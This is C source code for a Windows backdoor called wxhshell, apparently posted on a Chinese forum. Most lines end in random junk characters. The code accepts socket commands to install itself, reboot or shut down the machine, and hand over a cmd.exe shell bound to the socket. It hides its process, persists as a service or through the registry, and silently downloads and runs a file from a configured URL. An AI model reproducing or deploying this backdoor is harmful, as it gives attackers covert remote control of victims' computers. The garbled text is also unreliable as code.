  Ao0p=@Y  
  // 帮助 yDE0qUO  
  case '?': { 8p;|&7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )w t mc4'  
    break; @(m+B\  
  } Az`c? W%  
  // 安装 b%-S'@ew  
  case 'i': { S`\03(zDA  
    if(Install()) $ouw *|<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$:P;#  
    else mB.j?@Y%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F3%8E<QZd;  
    break; tbH` VD"u  
    } Mur)'  
  // 卸载 d :a*;F  
  case 'r': { H;~Lv;,g,  
    if(Uninstall()) Fu z'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M zRliH8e  
    else Fad.!%[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $$5E+UDOs  
    break; v>[U*E  
    } k(]R;`f$W  
  // 显示 wxhshell 所在路径 4GN  
  case 'p': { &tJ!cTA.-  
    char svExeFile[MAX_PATH]; \U?$ r[P  
    strcpy(svExeFile,"\n\r"); @mJ# ~@*(  
      strcat(svExeFile,ExeFile); <\fB+ AZ  
        send(wsh,svExeFile,strlen(svExeFile),0); AW R   
    break; u alpm#GU  
    } _=\J:r|Y:  
  // 重启 vg"$&YX9"  
  case 'b': { (*K=&e0O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ ";^nk*  
    if(Boot(REBOOT)) k vQ] }`a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n | M~C\*  
    else { =-m"y~{>3  
    closesocket(wsh); O u-/dE%  
    ExitThread(0); HPus/#j'+  
    } 0XWhSrHM  
    break; zgnZ72%  
    } ,pHQv(K/  
  // 关机 LFskNF0X  
  case 'd': { DTMoZm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g.wDg  
    if(Boot(SHUTDOWN)) GL^84[f-T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0zHMtC1 ,  
    else { +td]g9Ie  
    closesocket(wsh); gy*c$[NS$  
    ExitThread(0); ,vh $G 7D  
    } A?+0Ce&qL  
    break; U(rY,4'  
    } Q ^{XM  
  // 获取shell 5I6u 2k3  
  case 's': { ^B!cL~S*I  
    CmdShell(wsh); ]I[\Io1  
    closesocket(wsh); *mjPNp'3{m  
    ExitThread(0); t}wwRWo2?f  
    break; Kk\TW1w3  
  } xh:A*ZI=7  
  // 退出 !Pc&Sg  
  case 'x': { )jPIBzMys  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9-"!v0['  
    CloseIt(wsh); V]5MIiNl  
    break; HPc~wX  
    } L6 IIk  
  // 离开 B(1WI_}~  
  case 'q': { !I jU*c@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mpx98xcO  
    closesocket(wsh); P\ia ?9  
    WSACleanup(); {%+UQ!]d8  
    exit(1); X-y3CO:&@h  
    break; ~Z:)Y*  
        } O)8$aAJ)V  
  } \OW.?1d  
  } GCj[ySCD  
=eyPo(B  
  // 提示信息 \k9]c3V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d<cqY<y VA  
} u\q(v D.  
  } O<P(UT"  
-nQ(.#-n  
  return; +n>p"+c  
} )8`i%2i=  
iyv5\  
// shell模块句柄 Y~k,AJ{ ^  
int CmdShell(SOCKET sock) rtdEIk  
{ O>eg_K,c  
STARTUPINFO si; :{s0tw>Z  
ZeroMemory(&si,sizeof(si)); DEW;0ic  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GmH`ipi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UCo`l~K)qg  
PROCESS_INFORMATION ProcessInfo; $/crb8-C  
char cmdline[]="cmd"; *Ksk1T+>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !n<SpW;  
  return 0; "^oU&]KQJ  
} zm mkmTp  
^fj30gw7\5  
// 自身启动模式 NQcNY=  
int StartFromService(void) iXLH[uhO;  
{ ^"iJ  
typedef struct x^Zm:Jrw~  
{ D `av9I  
  DWORD ExitStatus; 6a704l%#hb  
  DWORD PebBaseAddress; pf&U$oR4  
  DWORD AffinityMask; oDWNOw  
  DWORD BasePriority; 2O}X-/H  
  ULONG UniqueProcessId; @<yYMo7  
  ULONG InheritedFromUniqueProcessId; KMx '(  
}   PROCESS_BASIC_INFORMATION; uFuP%f!yY  
PPde!}T$  
PROCNTQSIP NtQueryInformationProcess; LK<ZF=z]Z  
VAp 1{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a@-bw4S D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y+ 4#Iy  
h!`KX2~  
  HANDLE             hProcess; %{jL+4veoL  
  PROCESS_BASIC_INFORMATION pbi; +R_s(2vz  
6]mAtA`Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \hdil`{>  
  if(NULL == hInst ) return 0; @O|`r(le  
o1k+dJUd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XePGOw))O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |d,bo/:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iI;np+uYk  
z'*{V\  
  if (!NtQueryInformationProcess) return 0; ]TN/n%\  
rH'|$~a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jhkX U+4  
  if(!hProcess) return 0; DT_%Rz~<  
FH{p1_kZ=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .*Z#;3  
Fzt7@VNxc  
  CloseHandle(hProcess); Cq[Hh#q  
4>/i,_&K K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7eW6$$ju,N  
if(hProcess==NULL) return 0; LYiIJAZ.  
gGx<k3W^  
HMODULE hMod; 30<_`  
char procName[255]; (?i[jO||B  
unsigned long cbNeeded; "8<K'zeS8  
{|<"C?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -4 Ux,9&  
"&o,yd%  
  CloseHandle(hProcess); _eQ-`?  
dQ:cYNm  
if(strstr(procName,"services")) return 1; // 以服务启动 zF&=U`v  
:nJgwp()@  
  return 0; // 注册表启动 t#wmAOW  
} rpV1y$n<F  
w4};q%OBj  
// 主模块 <iLM{@lZvJ  
int StartWxhshell(LPSTR lpCmdLine) >,5i60Q  
{ -K %5(Eg  
  SOCKET wsl; #bnb ': f  
BOOL val=TRUE; O l@_(U  
  int port=0; 2W<n5o   
  struct sockaddr_in door; blt'={Z?.x  
ERMa# L  
  if(wscfg.ws_autoins) Install(); kdrod[S  
t;q7t!sC]  
port=atoi(lpCmdLine); <=um1P3X  
C"pB"^0  
if(port<=0) port=wscfg.ws_port; msx-O=4g  
C*kK)6v `  
  WSADATA data; ~}9PuYaD@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Ad7 Gi~  
[AzO:A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V2d,ksKwn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oOU1{[  
  door.sin_family = AF_INET; q0xjA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :QQlI  
  door.sin_port = htons(port); _F(P*[[&  
4vZ4/#(x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |L3X_Me  
closesocket(wsl); Ve 3 ;  
return 1; EMvHFu   
} 1} m3 ;  
2b@tj 5  
  if(listen(wsl,2) == INVALID_SOCKET) {  1jCo  
closesocket(wsl); " {de k  
return 1; Q(7ob}+jQ  
} Yc Q=vt{  
  Wxhshell(wsl);  ht97s  
  WSACleanup(); h)(* q+a  
KM,|} .@:  
return 0; wEft4 o  
w`HI]{hE~N  
} | }&RXD  
Kyg=$^{>G  
// 以NT服务方式启动 3\$wdUFr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K|S:{9Q  
{ 6cS>bl  
DWORD   status = 0; xi~uv?f  
  DWORD   specificError = 0xfffffff; A&5:ATQ/|  
`u'bRp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k;y w#Af8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c "= N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^_+XDO  
  serviceStatus.dwWin32ExitCode     = 0; 1`bl&}6l|E  
  serviceStatus.dwServiceSpecificExitCode = 0; kyw/LE3$-  
  serviceStatus.dwCheckPoint       = 0; d=*x#In  
  serviceStatus.dwWaitHint       = 0; /1w2ehE<  
( <*e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G'z{b$?/[  
  if (hServiceStatusHandle==0) return; "UVFU-Z  
xG2+(f#C1  
status = GetLastError(); K{fsn4rk  
  if (status!=NO_ERROR) ,YYVj{~2  
{ VaONd0Z I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kJ:F *34e=  
    serviceStatus.dwCheckPoint       = 0; XL}"1lE  
    serviceStatus.dwWaitHint       = 0; CO+/.^s7}S  
    serviceStatus.dwWin32ExitCode     = status; >ezi3Zx^  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rf-[svA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y4.Eq+$gh  
    return; vV?rpe|%  
  } lK7m=[ j  
TtD@'QXq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RJeDEYXeg  
  serviceStatus.dwCheckPoint       = 0; ;lX(}2tXW  
  serviceStatus.dwWaitHint       = 0; K0pac6]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fm_y&7._  
} 58xnB!h\}  
OFkNl}D  
// 处理NT服务事件,比如:启动、停止 07g':QU@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I`(l*U  
{ G9P!_72  
switch(fdwControl) `/&SxQB<  
{ penlG36Q  
case SERVICE_CONTROL_STOP: -Ng'<7  
  serviceStatus.dwWin32ExitCode = 0; 3uu~p!2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \VMD$zZx  
  serviceStatus.dwCheckPoint   = 0; b,TiMf9},h  
  serviceStatus.dwWaitHint     = 0; S8Fmy1#  
  { va|*c22;|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Scm36sT{  
  } zQ6p+R7D  
  return; bAk&~4Y_"  
case SERVICE_CONTROL_PAUSE: o KD/rI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g?v\!/~(u  
  break; A=zPL q{Sb  
case SERVICE_CONTROL_CONTINUE: g.JN_t5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $*a'84-5G-  
  break; -~" :f8  
case SERVICE_CONTROL_INTERROGATE:  6Si-u  
  break; w@\vHH.;V  
}; {%v-(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yqXH:757~  
} YT/kC'A  
^\:8w0Y^  
// 标准应用程序主函数 }U w&Ny  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sAJ7R(p  
{ . v@>JZC  
5F|8?BkOL^  
// 获取操作系统版本 R =Ws#'  
OsIsNt=GetOsVer(); /%aiEhL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +y2[msBs  
+z9@:L  
  // 从命令行安装 'D1A}X  
  if(strpbrk(lpCmdLine,"iI")) Install(); u,3,ck!B>@  
Q zZ;Ob]'  
  // 下载执行文件 Awv`)"RAR  
if(wscfg.ws_downexe) { D'l5Zd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wjh/M&,  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xb !MaNm)  
} tj]9~eJ-  
Lj\/Ji_  
if(!OsIsNt) { d%I" /8-J  
// 如果时win9x,隐藏进程并且设置为注册表启动 }0`nvAf  
HideProc(); lJP1XzN_  
StartWxhshell(lpCmdLine); K-<^ $VWh  
} +(D$9{y   
else C'=k&#<-  
  if(StartFromService()) UX<Qcjm$e  
  // 以服务方式启动 pu!dqF<  
  StartServiceCtrlDispatcher(DispatchTable); GSoZx0  
else ]{ BE r*  
  // 普通方式启动 }u+a<:pkK  
  StartWxhshell(lpCmdLine); Ogt]_  
;?}l  
return 0; D9mz9  
}
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只看该作者 1 发表于: 2006-10-10
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